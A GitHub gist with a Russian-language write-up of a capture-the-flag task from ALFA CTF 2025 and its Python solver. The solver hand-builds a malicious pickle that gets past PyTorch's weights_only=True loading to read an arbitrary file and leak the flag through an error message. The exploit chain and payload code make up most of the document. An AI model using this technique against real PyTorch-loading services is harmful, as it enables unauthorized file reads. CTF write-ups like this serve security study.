Skip to content

Instantly share code, notes, and snippets.

@dfyz
Created September 14, 2025 18:57
Show Gist options
  • Select an option

  • Save dfyz/f0023bd0b297a9c18e5000ae6fb55538 to your computer and use it in GitHub Desktop.

Select an option

Save dfyz/f0023bd0b297a9c18e5000ae6fb55538 to your computer and use it in GitHub Desktop.
Разбор задания «Дикий огурец» с ALFA CTF 2025

Из документации к PyTorch:

torch.load() unless weights_only parameter is set to True, uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling.

Из этого неявно следует, что режим weights_only=True должен был secure. Тем не менее, задача на то, чтобы прочитать флаг, контролируя содержимое файла, которое подаётся в torch.load(..., weights_only=True).

sploent.py [URL] распечатает флаг на stdout, в предположении, что сервис запущен на URL (по умолчанию http://localhost:20022/). Цепочка примерно такая:

  1. Этот баг позволяет обойти проверку на валидность tuple чуть ниже и пропихнуть в persistent_load(), например, list.
  2. Сервис запущен с отключенными ассертами, поэтому можно заехать сюда с контролируемым объектом.
  3. Чтобы получить из этого что-то полезное, нужно, чтобы контролируемый аргумент для get_source_lines_and_file() был чем-то, для чего можно получить исходники. Для этого в сервисе в список разрешённых типов добавлен types.ModuleType.
  4. У объекта типа types.ModuleType можно выставить __file__, и так получить чтение произвольного файла. В итоге этот файл преобразуется в дифф (для этого нужно на объекте проставить dump_patches=True и container.__name__), но поскольку содержимое второй стороны диффа мы контролируем, то это неважно.
  5. Дальше надо как-то слить дифф с диска. В записи диффа на диск есть два досадных ограничения: 1) файл с диффом должен либо не существовать, либо быть пустым, 2) его имя должно заканчиваться на .patch. Чтобы это нейтрализовать, сервис позволяет контролировать имя загружаемой в torch.load() модельки, и дополнительно открывать на запись все файлы моделек сразу.
  6. В таких условиях можно сначала первой моделькой сдампить дифф во вторую модельку (имя которой заканчивается на .patch), а потом содержимым второй модельки частично его переехать так, чтобы флаг внутри диффа интерпретировался как часть пикл-стрима и был в итоге слит через текст исключения.
import io
import pickle
import re
import requests
import sys
def get_evil_patch():
evil_patch = io.BytesIO()
evil_patch.write(b')' * 26)
evil_patch.write(b'c')
evil_patch.seek(0)
return evil_patch
def get_aaaa():
aaaa = io.BytesIO()
def w(obj):
pickle.dump(obj, aaaa, protocol=2)
# dummy prologue
w(0x1950A86A20F9469CFC6C)
w(1001)
w(None)
# ['module']
aaaa.write(b']')
aaaa.write(b'U\x06module')
aaaa.write(b'a')
# create types.ModuleType('')
aaaa.write('ctypes\nModuleType\n'.encode())
aaaa.write(b']')
aaaa.write(b'U\x04evil')
aaaa.write(b'a')
aaaa.write(b'R')
# set fake attributes
aaaa.write(b'}')
aaaa.write(b'U\x08__file__')
aaaa.write(b'U\x14/forbidden_fruit.txt')
aaaa.write(b's')
aaaa.write(b'U\x0cdump_patches')
aaaa.write(b'\x88')
aaaa.write(b's')
aaaa.write(b'b')
# ['module', types.ModuleType('')]
aaaa.write(b'a')
# ['module', types.ModuleType(''), 'a']
aaaa.write(b'U\x01a')
aaaa.write(b'a')
# ['module', types.ModuleType(''), 'a', 'Y']
aaaa.write(b'U\x01Y')
aaaa.write(b'a')
# BINPERSID
aaaa.write(b'Q')
# return
aaaa.write(b'.')
# dummy epilogue
w([]) # dummy
aaaa.seek(0)
return aaaa
if __name__ == '__main__':
url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:20022/'
files = [
('files', ('aaaa', get_aaaa(), 'application/octet-stream')),
('files', ('evil.patch', get_evil_patch(), 'application/octet-stream'))
]
response = requests.post(url, files=files)
response.raise_for_status()
flag = re.search(r'''alfa\{[^}]+\}''', response.text)
assert flag is not None, f'No flag in {response.text}'
print(flag[0])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment